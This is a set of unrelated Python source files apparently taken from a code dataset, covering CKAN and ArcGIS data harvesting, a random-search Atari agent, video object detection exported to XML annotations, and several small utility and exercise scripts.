as per given datadict.\n \n Arguments:\n datadict A dict with information on organizations, such as:\n {\n 'logo_url': 'http://www.dfes.wa.gov.au/_layouts/images/FESA.Mobile/dfes_print.png',\n 'name': 'dfes',\n 'title': 'Department of Fire & Emergency Services',\n 'url': 'http://www.dfes.wa.gov.au/'\n\n }\n ckanapi A ckanapi instance with create_org permissions\n \n Returns:\n A ckanapi organization_show dict\n \"\"\"\n print(\"[upsert_org] Upserting organisation {0}, id {1}\".format(\n datadict[\"title\"], datadict[\"name\"]))\n if debug:\n print(\"[upsert_org] Input:\\n{0}\".format(str(datadict)))\n\n try:\n org = ckanapi.action.organization_show(id=datadict[\"name\"])\n print(\"[upsert_org] Organisation exists, updating...\")\n org = ckanapi.action.organization_update(id=datadict[\"name\"], **datadict)\n print(\"[upsert_org] Updated {0}\".format(datadict[\"title\"]))\n\n except:\n print(\"[upsert_org] Organisation not found, inserting...\")\n org = ckanapi.action.organization_create(**datadict)\n print(\"[upsert_org] Inserted {0}\".format(datadict[\"title\"]))\n if org:\n return org\n \n\ndef upsert_group(datadict, ckanapi, debug=False):\n \"\"\"Create or update groups through a ckanapi as per given datadict.\n \n Arguments:\n \n datadict A dict with information on groups, such as:\n {\n 'name': 'cultural_society_and_demography',\n 'title': 'Cultural, Society and Demography'\n\n }\n ckanapi A ckanapi instance with at least create_group permissions\n \n Returns:\n A ckanapi group_show dict\n \"\"\"\n print(\"[upsert_group] Upserting organisation {0}, id {1}\".format(\n datadict[\"title\"], datadict[\"name\"]))\n if debug:\n print(\"[upsert_group] Input:\\n{0}\".format(str(datadict)))\n\n try:\n org = ckanapi.action.group_show(id=datadict[\"name\"])\n print(\"[upsert_group] Group exists, updating...\")\n org = ckanapi.action.group_update(id=datadict[\"name\"], **datadict)\n print(\"[upsert_group] Updated {0}\".format(datadict[\"title\"]))\n\n except:\n print(\"[upsert_group] Group not found, inserting...\")\n org = ckanapi.action.group_create(**datadict)\n print(\"[upsert_group] Inserted {0}\".format(datadict[\"title\"]))\n if org:\n return org\n \n \ndef upsert_orgs(org_dict, ckanapi, debug=False):\n \"\"\"\n Insert or update CKAN organisations through a ckanapi from an org_dict.\n \n Uses `upsert_org` on each element of `org_dict`.\n Returns a name-indexed dictionary of now existing CKAN organisations.\n This can be used to set the organisation in a CKAN dataset, replacing an expensive \n `organization_show` with a dictionary lookup.\n \"\"\"\n print(\"[upsert_orgs] Refreshing orgs...\")\n orgs = [upsert_org(org_dict[org], ckanapi, debug) for org in org_dict]\n print(\"[upsert_orgs] Done!\")\n return dict([o[\"name\"], o] for o in orgs)\n\n\ndef upsert_groups(group_dict, ckanapi, debug=False):\n \"\"\"Insert or update CKAN groups through a ckanapi from an org_dict.\n \n Uses `upsert_group` on each element of `org_dict`.\n Returns a title-indexed dictionary of now existing CKAN groups.\n This can be used to set the group in a CKAN dataset, replacing an expensive \n `group_show` with a dictionary lookup.\n \"\"\"\n print(\"[upsert_groups] Refreshing groups...\")\n groups = [upsert_group(group_dict[grp], ckanapi, debug) for grp in group_dict]\n print(\"[upsert_groups] Done!\")\n return dict([g[\"title\"], g] for g in groups)\n\n\ndef get_layer_dict(wxs, wxs_url, ckanapi, \n org_dict, group_dict, pdf_dict, res_format=\"WMS\", \n debug=False, fallback_org_name='lgate'):\n \"\"\"Return a list of CKAN API package_show-compatible dicts\n \n Arguments:\n \n wxs A wxsclient loaded from a WXS enpoint\n wxs_url The WXS endpoint URL to use as dataset resource URL\n ckanapi A ckanapi instance with at least read permission\n org_dict A dict of CKAN org names and ids\n pdf_dict A dict of dataset names and corresponding PDF URLs\n debug Debug noise\n fallback_org_name The fallback CKAN org name , default:'lgate' \n \n Returns:\n A list of CKAN API package_show-compatible dicts\n \"\"\"\n foid = ckanapi.action.organization_show(id=fallback_org_name)[\"id\"]\n return [wxs_to_dict(wxs.contents[layername], wxs_url, \n org_dict, group_dict, pdf_dict, debug=debug,\n res_format=res_format, fallback_org_id=foid) for layername in wxs.contents]\n\n\ndef upsert_datasets(data_dict, ckanapi,overwrite_metadata=True, \n drop_existing_resources=True, debug=False):\n \"\"\"Upsert datasets into a ckanapi from data in a dictionary.\n \n Arguments:\n data_dict (dict) An output of `get_layer_dict`\n ckanapi (ckanapi) A ckanapi object (created with CKAN url and write-permitted api key)\n overwrite_metadata (Boolean) Whether to overwrite existing dataset metadata (default)\n drop_existing_resources (Boolean) Whether to drop existing resources (default) or merge\n new and existing with identical resource URL\n debug (Boolean) Debug noise level\n \n Returns:\n A list of `package_show` dicts\n \"\"\"\n print(\"Refreshing harvested WMS layer datasets...\")\n packages = [upsert_dataset(dataset, \n ckanapi,\n overwrite_metadata=overwrite_metadata, \n drop_existing_resources=drop_existing_resources,\n debug=debug) \n for dataset \n in data_dict\n if dataset is not None]\n print(\"Done!\")\n return(packages)\n\n\n#-------------------------------------------------------------------------------------#\n# ArcGIS REST\n#-------------------------------------------------------------------------------------#\n\ndef get_arc_services(url, foldername):\n \"\"\"Return a list of service names from an ArcGIS REST folder\n \n Example:\n baseurl = ARCGIS[\"SLIPFUTURE\"][\"url\"]\n folders = ARCGIS[\"SLIPFUTURE\"][\"folders\"]\n get_arc_service(baseurl, folders[0])\n ['QC/MRWA_Public_Services']\n\n res = {\n \"currentVersion\": 10.31,\n \"folders\": [],\n \"services\": [\n {\n \"name\": \"QC/MRWA_Public_Services\",\n \"type\": \"MapServer\"\n }\n ]\n }\n\n\n Arguments:\n url (String): The ArcGIS REST base URL, \n e.g. 'http://services.slip.wa.gov.au/arcgis/rest/services/'\n foldername (String): The ArcGIS REST service folder name, e.g. 'QC'\n \n Returns:\n A list of strings of service URLs\n \"\"\"\n res = json.loads(requests.get(os.path.join(url, foldername) + \"?f=pjson\").content)\n return [os.path.join(url, x) for x in [\n os.path.join(s[\"name\"], s[\"type\"]) for s in res[\"services\"]]]\n\n\ndef get_arc_servicedict(url):\n \"\"\"Returns a dict of service information for an ArcGIS REST service URL\n \n Arguments\n url (String): An ArcGIS REST service URL, \n e.g. 'http://services.slip.wa.gov.au/arcgis/rest/services/QC/MRWA_Public_Services/MapServer'\n \"\"\"\n res = json.loads(requests.get(url + \"?f=pjson\").content)\n d = dict()\n d[\"layer_ids\"] = [str(x['id']) for x in res[\"layers\"]]\n d[\"supportedExtensions\"] = res[\"supportedExtensions\"]\n return d\n\n\ndef force_key(d, k):\n \"\"\"Return a key from a dict if existing and not None, else an empty string\n \"\"\"\n return d[k] if d.has_key(k) and d[k] is not None else \"\"\n \n\n \ndef arcservice_extent_to_gjMP(extent):\n \"\"\"Transform the extent of an ArcGIS REST service layer into WGS84 and \n return as GeoJSON Multipolygon Geometry.\n \n Example:\n res = json.loads(requests.get(\"http://services.slip.wa.gov.au/arcgis/rest/services/\"+\\\n \"QC/MRWA_Public_Services/MapServer/0?f=pjson\").content)\n \n print(res[\"extent\"])\n {u'spatialReference': {u'latestWkid': 3857, u'wkid': 102100},\n u'xmax': 14360400.777488748,\n u'xmin': 12639641.896807905,\n u'ymax': -1741902.4945217525,\n u'ymin': -4168751.2292041867}\n \n print arcservice_extent_to_gjMP(res[\"extent\"])\n {\"type\": \"MultiPolygon\", \n \"coordinates\": [[[\n [113.54383501699999, -15.456807971000012], \n [113.54383501699999, -35.035829004], \n [113.54383501699999, -35.035829004], \n [113.54383501699999, -15.456807971000012]\n ]]]}\n \n \n Arguments:\n extent (dict) The \"extent\" key of the service layer JSON dict\n \n Returns:\n dict A GeoJSON MultiPolygon Geometry string in WGS84\n \"\"\"\n inProj = Proj(init='epsg:{0}'.format(str(extent[\"spatialReference\"][\"latestWkid\"])))\n outProj = Proj(init='epsg:4326')\n\n xmin = extent[\"xmin\"]\n xmax = extent[\"xmax\"]\n ymin = extent[\"ymin\"]\n ymax = extent[\"ymax\"]\n\n NW = transform(inProj, outProj, xmin, ymax)\n NE = transform(inProj, outProj, xmax, ymax)\n SW = transform(inProj, outProj, xmin, ymin)\n SE = transform(inProj, outProj, xmax, ymin)\n\n w, n, e, s = NW[0], NW[1], SE[0], SE[1]\n \n return json.dumps({\"type\": \"MultiPolygon\", \"coordinates\": [[[[e,n],[e,s],[w,s],[w,n]]]]})\n \n \ndef parse_argis_rest_layer(layer_id, services, base_url, ckan, \n owner_org_id=None, author=None, author_email=None, \n fallback_org_name='lgate', debug=False):\n \"\"\"Parse an ArcGIS REST layer into a CKAN package dict of data.wa.gov.au schema\n \n Arguments:\n layer_id (String): The ArcGIS REST layer id\n services (String): A comma separated list of ArcGIS REST services available \n for the given layer as per its parent service definition,\n e.g. 'WFSServer, WMSServer'\n base_url (String): The ArcGIS REST service URL, \n e.g. 'http://services.slip.wa.gov.au/arcgis/rest/services/QC/MRWA_Public_Services/MapServer/'\n ckan (ckanapi.RemoteCKAN) An instance of ckanapi.RemoteCKAN\n owner_org_id (String) The CKAN owner org ID, optional, default: fallback to lgate's ID\n author (String): The dataset author, optional\n author_email (String): The dataset author email, optional\n fallback_org_name (String) The CKAN owner org name, default: 'lgate'\n debug (Boolean): Debug noise level\n \n Returns:\n A dictionary in format ckanpai.action.package_show(id=xxx)\n \"\"\"\n layer_url = os.path.join(base_url, layer_id)\n res = json.loads(requests.get(layer_url + \"?f=pjson\").content)\n \n # Assumptions!\n desc_preamble = \"\"\"This dataset has been harvested from [Locate WA](http://locate.wa.gov.au/).\\n\\n\"\"\"\n date_pub = datetime.now().strftime(\"%Y-%m-%dT%H:%M:%S\")\n \n \n if not owner_org_id:\n owner_org_id = ckan.action.organization_show(id=fallback_org_name)[\"id\"]\n \n \n # Splitting description into a description dict dd\n \n dd = dict([z.strip().replace(\":\",\"-\") for z in x.split(\":\",1)] for x in res[\"description\"].split(\"\\n\\n\"))\n \"\"\"\n {u'Abstract': u'All guide signs under the responsibility of Main Roads Western Australia. A guide sign is a type of traffic sign that used to indicate locations, distances, directions, routes, and similar information. One type of guide sign is route marker or an exit sign on a freeway.',\n u'Geographic Extent': u'WA',\n u'Legal Constraints': u\"The licensee of this data only acquires the right to use this data for Main Roads' business only, and does not acquire any rights of ownership of the data. This data must not be supplied for third party use without the express written permission of the licensor. The data is made available in good faith and is derived from sources believed to be reliable and accurate. Nevertheless, the reliability and accuracy of the data supplied cannot be guaranteed and Main Roads, its employees and agents expressly disclaim liability for any act or omission done in reliance on the data provided or for any consequences, whether direct or indirect, of any such act or omission. The licensee also shall not release or provide any information that might specifically identify a person or persons from the data provided.\",\n u'Main Roads Contact Email': u'irissupport@mainroads.wa.gov.au',\n u'Main Roads Contact Name': u'IRIS Support',\n u'Original Source': u'Main Roads Western Australia',\n u'Other Constraints': u'There are no other constraints for this dataset',\n u'Purpose': u'This layer shows the location of guide signs where Main Roads Western Australia is responsible. Signs can be on the State Road Network or other public access roads and is provided for information only.',\n u'Road Inventory': u'Signs - Guide',\n u'Tags': u'transport, Main Roads Western Australia,mrwa, road,download,public,transportation,Classification,State Road,Main Road,network, wfs:mrwa',\n u'Usage Constraints': u'There are no usage constraints for this dataset',\n u'Usage Limitation': u\"The Licensee acknowledges that no warranties or undertakings express or implied, statutory or otherwise, as to the condition, quality or fitness for the Licensee's purposes are provided with this information. It is the responsibility of the Licensee to ensure that the information supplied meets their own requirements. All attributes contained within datasets is provided as is.\",\n u'Visible Scale Range': u'Layer displays at all scales.'}\n \"\"\"\n abstract = force_key(dd, \"Abstract\")\n extent = force_key(dd, \"Geographic Extent\")\n legal = force_key(dd, \"Legal Constraints\")\n source = force_key(dd, \"Original Source\")\n tags = force_key(dd, \"Tags\")\n # and so on\n \n tag_string = [x.strip() for x in tags.split(\",\")] + [\"SLIP Future\", \"Harvested\"]\n \n d = dict()\n \n d[\"name\"] = slugify(res[\"name\"])\n d[\"title\"] = res[\"name\"].replace(\"_\",\" \")\n #d[\"doi\"] = \"\"\n #d[\"citation\"] = \"\"\n d[\"notes\"] = desc_preamble + res[\"description\"]\n d[\"tag_string\"] = tag_string\n d[\"owner_org\"] = owner_org_id\n d[\"data_portal\"] = \"http://locate.wa.gov.au/\"\n d[\"data_homepage\"] = layer_url\n d[\"license_id\"] = \"cc-by-sa\"\n d[\"author\"] = author if author else source if source else \"Landgate\"\n d[\"author_email\"] = author_email if author_email else \"customerservice@landgate.wa.gov.au\"\n d[\"maintainer_email\"] = \"customerservice@landgate.wa.gov.au\"\n d[\"maintainer\"] = \"Landgate\"\n d[\"private\"] = False\n d[\"state\"] = \"active\"\n d[\"spatial\"] = arcservice_extent_to_gjMP(res[\"extent\"])\n \"\"\"\n #hardcode WA extent:\n d[\"spatial\"] = json.dumps({\"type\": \"MultiPolygon\", \n \"coordinates\": [\n [[[128.84765625000003, -11.523087506868514], \n [128.67187500000003, -34.88593094075316], \n [114.43359375000001, -37.020098201368114], \n [110.91796875000001, -19.973348786110602], \n [128.84765625000003, -11.523087506868514]]]]})\n \"\"\"\n d[\"published_on\"] = date_pub\n d[\"last_updated_on\"] = date_pub\n d[\"update_frequency\"] = \"frequent\"\n #d[\"data_temporal_extent_begin\"] = \"\"\n #d[\"data_temporal_extent_end\"] = \"\"\n\n resource_list = []\n \n \n # Attach WMS/WFS endpoint as resource\n if \"WMSServer\" in services:\n r = dict()\n r[\"description\"] = \"OGC Web Map Service Endpoint\"\n r[\"format\"] = \"wms\"\n r[\"name\"] = \"{0} WMS\".format(res[\"name\"])\n r[\"url\"] = os.path.join(base_url, \"WMSServer\")\n r[\"wms_layer\"] = layer_id\n resource_list.append(r)\n \n if \"WFSServer\" in services:\n r = dict()\n r[\"description\"] = \"OGC Web Feature Service Endpoint\"\n r[\"format\"] = \"wfs\"\n r[\"name\"] = \"{0} WFS\".format(res[\"name\"])\n r[\"url\"] = os.path.join(base_url, \"WFSServer\")\n r[\"wfs_layer\"] = layer_id\n resource_list.append(r)\n \n d[\"resources\"] = resource_list\n \n if debug:\n print(\"[parse_argis_rest_layer] Returning package dict \\n{0}\".format(str(d)))\n\n return d\n\ndef harvest_arcgis_service(service_url, ckan, owner_org_id, author, author_email, \n overwrite_metadata=True, drop_existing_resources=True,debug=False):\n \"\"\"Harvest all layers underneath an ArcGIS REST Service URL into a CKAN\n \n Arguments:\n service_url (String): The ArcGIS REST service URL, \n e.g. 'http://services.slip.wa.gov.au/arcgis/rest/services/QC/MRWA_Public_Services/MapServer/'\n ckan (ckanapi.RemoteCKAN) An instance of ckanapi.RemoteCKAN\n owner_org_id (String) The CKAN owner org ID, optional\n author (String): The dataset author, optional\n author_email (String): The dataset author email, optional\n fallback_org_name (String) The CKAN owner org name, default: 'lgate'\n overwrite_metadata (Boolean) Whether to overwrite existing dataset metadata (default)\n drop_existing_resources (Boolean) Whether to drop existing resources (default) or merge\n debug (Boolean): Debug noise level\n \"\"\"\n servicedict = get_arc_servicedict(service_url)\n for layer in servicedict[\"layer_ids\"]:\n print(\"\\n\\nParsing layer {0}\".format(layer))\n ds_dict = parse_argis_rest_layer(layer, \n servicedict[\"supportedExtensions\"], \n service_url, \n ckan,\n owner_org_id = owner_org_id,\n author = author,\n author_email = author_email,\n debug=debug)\n print(\"Writing dataset {0}...\".format(ds_dict[\"title\"]))\n if debug:\n print(ds_dict)\n ckan_ds = upsert_dataset(ds_dict, \n ckan, \n overwrite_metadata = overwrite_metadata,\n drop_existing_resources = drop_existing_resources, \n debug=debug)\n if debug:\n print(ckan_ds)\n print(\"Upserted dataset {0} to CKAN {1}\".format(ckan_ds[\"title\"], ckan.address))\n","sub_path":"harvest_helpers.py","file_name":"harvest_helpers.py","file_ext":"py","file_size_in_byte":43577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"481455512","text":"import time\nimport json\nimport pandas as pd\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport torch.nn.functional as F\n\nimport cv2\nimport matplotlib.pyplot as plt\n\nimport gym\nfrom gym import wrappers\n\n\nclass BigModel(nn.Module):\n \"\"\"\n A big model....\n \"\"\"\n def __init__(self, seed):\n super().__init__()\n\n self.seed = seed\n torch.manual_seed(seed)\n\n self.conv1 = nn.Conv2d(4, 32, (8, 8), 4)\n self.conv2 = nn.Conv2d(32, 64, (4, 4), 2)\n self.conv3 = nn.Conv2d(64, 64, (3, 3), 1)\n self.dense = nn.Linear(4*4*64, 512)\n self.out = nn.Linear(512, 18)\n\n self.add_tensors = {}\n for name, tensor in self.named_parameters():\n if tensor.size() not in self.add_tensors:\n self.add_tensors[tensor.size()] = torch.Tensor(tensor.size())\n if 'weight' in name:\n nn.init.kaiming_normal_(tensor)\n else:\n tensor.data.zero_()\n\n def forward(self, x):\n x = F.relu(self.conv1(x))\n x = F.relu(self.conv2(x))\n x = F.relu(self.conv3(x))\n x = x.view(1, -1)\n x = F.relu(self.dense(x))\n return self.out(x)\n\n\nclass RSModel():\n\n def __init__(self, seed, config):\n self.env_name = config['env']\n self.max_frames_per_episode = config['max_frames_per_episode']\n self.output_fname = config['output_fname']\n self.model_type = config['model']\n # below is equivalent to models.SmallModel(seed)\n # self.model = getattr(models, self.model_type)(seed)\n self.model = BigModel(seed)\n\n def convert_state(self, state):\n return cv2.resize(cv2.cvtColor(state, cv2.COLOR_RGB2GRAY), (64, 64)) / 255.0\n\n def reset(self, env):\n return self.convert_state(env.reset())\n\n def evaluate_model(self, monitor=False):\n\n env = gym.make(self.env_name)\n env.seed(0)\n\n cur_states = [self.reset(env)] * 4\n total_reward = 0\n total_frames = 0\n old_lives = env.env.ale.lives()\n\n if monitor:\n env = wrappers.Monitor(env, self.output_fname)\n\n env.reset()\n\n for t in range(self.max_frames_per_episode):\n\n total_frames += 4\n\n # model output\n values = self.model(Variable(torch.Tensor([cur_states])))[0]\n action = np.argmax(values.data.numpy()[:env.action_space.n])\n observation, reward, done, _ = env.step(action)\n\n # update current state\n total_reward += reward\n\n if monitor:\n new_lives = env.env.env.ale.lives()\n if old_lives < new_lives:\n break\n else:\n new_lives = env.env.ale.lives()\n if old_lives < new_lives:\n break\n old_lives = new_lives\n\n # break if it's been one life and 0 reward\n # need to be careful with this, it won't generalise to other games\n if old_lives == 3:\n if total_reward == 0:\n break\n\n if done:\n break\n cur_states.pop(0)\n new_frame = self.convert_state(observation)\n cur_states.append(new_frame)\n\n env.env.close()\n return total_reward, total_frames\n\n\ndef main():\n\n # start timing\n start = time.time()\n\n f_name = 'rs_tests/test_a1.json'\n\n our_seeds = []\n our_rewards = []\n our_time = []\n our_frames = []\n total_frames = 0\n\n with open(f_name) as f:\n config = json.load(f)\n \n config['output_fname'] = config['output_fname'] + '-c3-' + str(time.time())\n\n # start the 'random' search!\n for s in range(6):\n \n m = RSModel(seed=s, config=config)\n reward, frames = m.evaluate_model()\n \n elapsed = (time.time() - start)\n\n our_time.append(elapsed)\n our_seeds.append(s)\n our_rewards.append(reward)\n our_frames.append(frames)\n total_frames += frames\n\n print(\"Time: \" + str(round(elapsed)) +\n \", Frames: \" + str(total_frames), flush=True)\n\n # get best seed\n print('recording best network', flush=True)\n best_seed = our_seeds[np.argmax(our_rewards)]\n m = RSModel(seed=best_seed, config=config)\n _, _ = m.evaluate_model(monitor=True)\n\n # save our results\n # This will only work if the dir has been created above.\n csv_path = config['output_fname'] + '/results.csv'\n pd.DataFrame(\n {\n 'seed': our_seeds,\n 'reward': our_rewards,\n 'time': our_time,\n 'frames': our_frames\n }\n ).to_csv(csv_path)\n\n elapsed = (time.time() - start)\n print(\"c3 Time: \" + str(round(elapsed)))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"rs_tests/my_test_c3.py","file_name":"my_test_c3.py","file_ext":"py","file_size_in_byte":4826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"18803124","text":"import io\nimport re\nimport cv2\nimport scipy.misc\nimport numpy as np\nimport six\nimport time\nfrom six import BytesIO\nfrom glob import glob\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom PIL import Image, ImageDraw, ImageFont\nimport tensorflow as tf\nfrom object_detection.utils import visualization_utils as viz_utils\nimport os\nimport pandas as pd\nimport glob\nimport xml.etree.ElementTree as ET\n\n# Set memory growth to True so it won't crash\ngpus = tf.config.experimental.list_physical_devices('GPU')\ntf.config.experimental.set_memory_growth(gpus[0], True)\n\n# Video and model path\nmodel_path = 'exported-models/mobile_net/saved_model/'\nvideo_path = 'data/vid_2/vid.mp4'\nraw_path = 'data/vid_2/raw'\n\nxml_format = r\"\"\"\n\n\traw\n\t{name}\n\t{abs_path}\n\t\n\t\tUnknown\n\t\n\t\n\t\t1280\n\t\t720\n\t\t3\n\t\n\t0\n\t{objects}\n\n\"\"\"\n\nobject_format = r\"\"\"\n\n {name}\n Unspecified\n 0\n 0\n \n {xmin}\n {ymin}\n {xmax}\n {ymax}\n \n\n\"\"\"\n\n\ndef csv_to_xml(csv_input, output_path = \"\"):\n head, tail = os.path.split(csv_input)\n csv_name = tail\n df = pd.read_csv(csv_input)\n filenames = df.filename.unique()\n for filename in filenames:\n abs_path = os.path.abspath(csv_input).replace(csv_name, filename)\n yolo_path = os.path.join(output_path, filename.replace('jpg', 'xml'))\n df_tmp = df[df.filename == filename]\n objects = \"\"\n for row in df_tmp.iterrows():\n output = object_format.format(\n name = row[1]['class'],\n xmin = row[1]['xmin'],\n xmax = row[1]['xmax'],\n ymin = row[1]['ymin'],\n ymax = row[1]['ymax'])\n objects = objects + output\n output = xml_format.format(objects = objects, abs_path = abs_path, name = filename)\n with open(yolo_path, 'w') as f:\n f.write(output)\n\n\n\ndef load_image_into_numpy_array(path):\n \"\"\"Load an image from file into a numpy array.\n\n Puts image into numpy array to feed into tensorflow graph.\n Note that by convention we put it into a numpy array with shape\n (height, width, channels), where channels=3 for RGB.\n\n Args:\n path: a file path (this can be local or on colossus)\n\n Returns:\n uint8 numpy array with shape (img_height, img_width, 3)\n \"\"\"\n img_data = tf.io.gfile.GFile(path, 'rb').read()\n image = Image.open(BytesIO(img_data))\n (im_width, im_height) = image.size\n return np.array(image.getdata()).reshape(\n (im_height, im_width, 3)).astype(np.uint8)\n\n\ndef detection_to_xml(detection, filename, threshold = 0.7):\n y = 720\n x = 1280\n abs_path = os.path.abspath(filename)\n # [y_min, x_min, y_max, x_max]\n category_index = {\n 1: {'id': 1, 'name': 'player'},\n 2: {'id': 2, 'name': 'trait'}\n }\n\n index_threshold = next(x[0] for x in enumerate(list(detection['detection_scores'].numpy()[0])) if x[1] < threshold)\n detection_classes = detection['detection_classes'][0].numpy().astype(np.int32)[:index_threshold]\n detection_boxes = detection['detection_boxes'][0].numpy()[:index_threshold]\n objects = \"\"\n\n for i in range(index_threshold):\n name = category_index.get(detection_classes[i]).get('name')\n ymin = int(detection_boxes[i][0] * y)\n xmin = int(detection_boxes[i][1] * x)\n ymax = int(detection_boxes[i][2] * y)\n xmax = int(detection_boxes[i][3] * x)\n obj = object_format.format(name = name, ymin = ymin, xmin = xmin, ymax = ymax, xmax = xmax)\n objects = objects + obj\n\n return xml_format.format(name = filename, abs_path = abs_path, objects = objects)\n\n\ntf.keras.backend.clear_session()\ndetect_fn = tf.saved_model.load(model_path)\n\nvid = cv2.VideoCapture(video_path)\n\ncount = 0\nimg_count = 0\nwhile vid.isOpened():\n done = False\n ret, frame = vid.read()\n if ret:\n # filename\n filename = f\"img_{img_count}.jpg\"\n file_path = os.path.join(raw_path, f\"img_{img_count}.jpg\") \n print(file_path)\n xml_name = os.path.join(raw_path, f\"img_{img_count}.xml\")\n os.path.abspath(filename)\n input_tensor = np.expand_dims(frame, 0)\n detections = detect_fn(input_tensor)\n\n data = detection_to_xml(detections, filename, 0.7)\n cv2.imwrite(file_path, frame)\n\n with open(xml_name, 'w') as f:\n f.write(data)\n\n count += 60\n img_count += 1\n vid.set(1, count)\n\n if cv2.waitKey(1) and 0xFF == ord('q'):\n print(\"Pressed Q\")\n done = True\n\n else:\n vid.release()\n break\n","sub_path":"inference/inference_vid_to_xml.py","file_name":"inference_vid_to_xml.py","file_ext":"py","file_size_in_byte":4855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"459136470","text":"import json\nimport re\n\ndef autoFill(searchStr, stores):\n result = []\n for s in stores:\n if re.search(searchStr, s[\"name\"], re.IGNORECASE):\n result.append(s)\n elif re.search(searchStr, s[\"tags\"], re.IGNORECASE):\n result.append(s)\n return { \"result\": result }\n\n# format:\n# stores = [\n# {\"id\": 1, \"name\": \"Buffalo\", \"tags\": \"gen3, northeast\"},]\n\n\n# How to match a substr in a str\n# https://stackoverflow.com/questions/6579876/how-to-match-a-substring-in-a-string-ignoring-case?rq=1","sub_path":"backend/operations.py","file_name":"operations.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"164257","text":"#!/net/em-stor4/Volumes/data/wangyr/local/bin/python2.7\nfrom argparse import ArgumentParser\nfrom os.path import exists\nimport python_util\nimport numpy as np\nimport sys\n\n# get rid of the IOError: [Errno 32] Broken pipe\nfrom signal import signal, SIGPIPE, SIG_DFL\nsignal(SIGPIPE,SIG_DFL)\n\n\nif __name__==\"__main__\":\n parser = ArgumentParser()\n parser.add_argument(\"files_to_extract\", nargs=\"+\", help=\"file:col1:col2@string_to_match\")\n parser.add_argument(\"--delimiter\", help=\"\")\n parser.add_argument(\"--label\", default=\"\", help=\"\")\n opts = parser.parse_args()\n\n file_cols_dict = {}\n n_rows = 0\n initialized = False\n for f in opts.files_to_extract:\n filename = f.split(\"@\")[0].split(\":\")[0]\n columns = map( int, f.split(\"@\")[0].split(\":\")[1:] )\n try:\n string_to_match = f.split(\"@\")[1]\n except IndexError:\n string_to_match = None\n\n assert columns, columns\n assert exists( filename )\n\n if not initialized:\n array = myutil.get_columns_as_array( filename, columns, None, string_to_match, opts.delimiter )\n initialized = True\n else:\n array = np.vstack( [array, myutil.get_columns_as_array( filename, columns, None, string_to_match, opts.delimiter )] )\n\n array = array.T\n for row in range( array.shape[0] ):\n sys.stdout.write(\"%s %s\\n\" %(\" \".join( array[row] ), opts.label))\n","sub_path":"analysis_utils/get_columns_from_files.py","file_name":"get_columns_from_files.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"24652817","text":"from hrm import readCSV, getBeats, getMeanHR, getDuration\nimport pytest\n\n\n@pytest.mark.parametrize(\"testinput,expected\", [\n ('test_data31.csv', 81.42),\n ('test_data1.csv', 75),\n ('test_data11.csv', 68.57)\n])\ndef test(testinput, expected):\n [t, v] = readCSV(testinput)\n beattimes = getBeats(t, v)\n exp = getMeanHR(beattimes, lower=5, upper=12)\n assert abs(expected-exp) < 0.2*expected\n","sub_path":"test_usermeanhr.py","file_name":"test_usermeanhr.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"541060881","text":"class Simbolo:\n def __init__(self, column_name, data_type, size_type, table_name, pos_line, pos_colum, sql_instruction):\n self.column_name = column_name\n self.data_type = data_type\n self.size_type = size_type\n self.table_name = table_name\n self.pos_line = pos_line\n self.pos_colum = pos_colum\n self.sql_instruction = sql_instruction\n\n def get_html_table(self):\n size_type = self.size_type\n if size_type == 1998:\n if self.data_type == 'text':\n size_type = 'ilimitado'\n else:\n size_type = 'Enum Type'\n return ''' \n %s\n %s\n %s\n %s\n %s\n %s\n %s\n ''' % (self.column_name, self.data_type, str(size_type), self.table_name, str(self.pos_line), str(self.pos_colum), self.sql_instruction)","sub_path":"parser/team19/BDTytus/TablaSimbolos/Simbolo.py","file_name":"Simbolo.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"365748170","text":"# https://atcoder.jp/contests/abc112/tasks/abc112_d\nimport sys\nsys.setrecursionlimit(2147483647)\nINF=float(\"inf\")\nMOD=10**9+7\ninput=lambda :sys.stdin.readline().rstrip()\ndef divisors(n):\n S,T=[],[]\n for i in range(1,int(n**.5)+1):\n if n%i==0:\n S.append(i)\n T.append(n//i)\n T.reverse()\n return S+T if S[-1]!=T[0] else S+T[1:]\n\ndef resolve():\n n,m=map(int,input().split())\n D=divisors(m)\n ans=0\n for d in D:\n if(d*n<=m):\n ans=max(d,ans)\n print(ans)\nresolve()\n","sub_path":"ABC112/d_partition.py","file_name":"d_partition.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"140622377","text":"#!/bin/python3\n\ndef jumbled_palin(word):\n d = dict()\n even=odd=0\n for w in word:\n if w not in d:\n d[w] = 1\n else:\n d[w] += 1\n \n for v in d.values():\n if v%2 == 0:\n even += v\n else:\n odd += v\n \n print(d)\n print('odd:', odd, 'even:',even)\n\n if odd > 1:\n return False\n else:\n return True\n\n\nif __name__=='__main__':\n print(jumbled_palin(input()))\n\n \n\n\n","sub_path":"hackerrank/jumbled_palindrome.py","file_name":"jumbled_palindrome.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"70104112","text":"from random import randint\r\n\r\n\r\nclass Product(object):\r\n def __init__(self, name, price=10, weight=20, flammability=.5,\r\n identifier=randint(1000000, 9999999)):\r\n self.name = str(name)\r\n self.price = int(price)\r\n self.weight = int(weight)\r\n self.flammability = float(flammability)\r\n self.identifier = int(identifier)\r\n\r\n def stealability(self):\r\n ratio = self.price / self.weight\r\n if ratio < .5:\r\n return 'Not so stealable...'\r\n elif ratio < 1:\r\n return 'Kinda stealable.'\r\n else:\r\n return 'Very 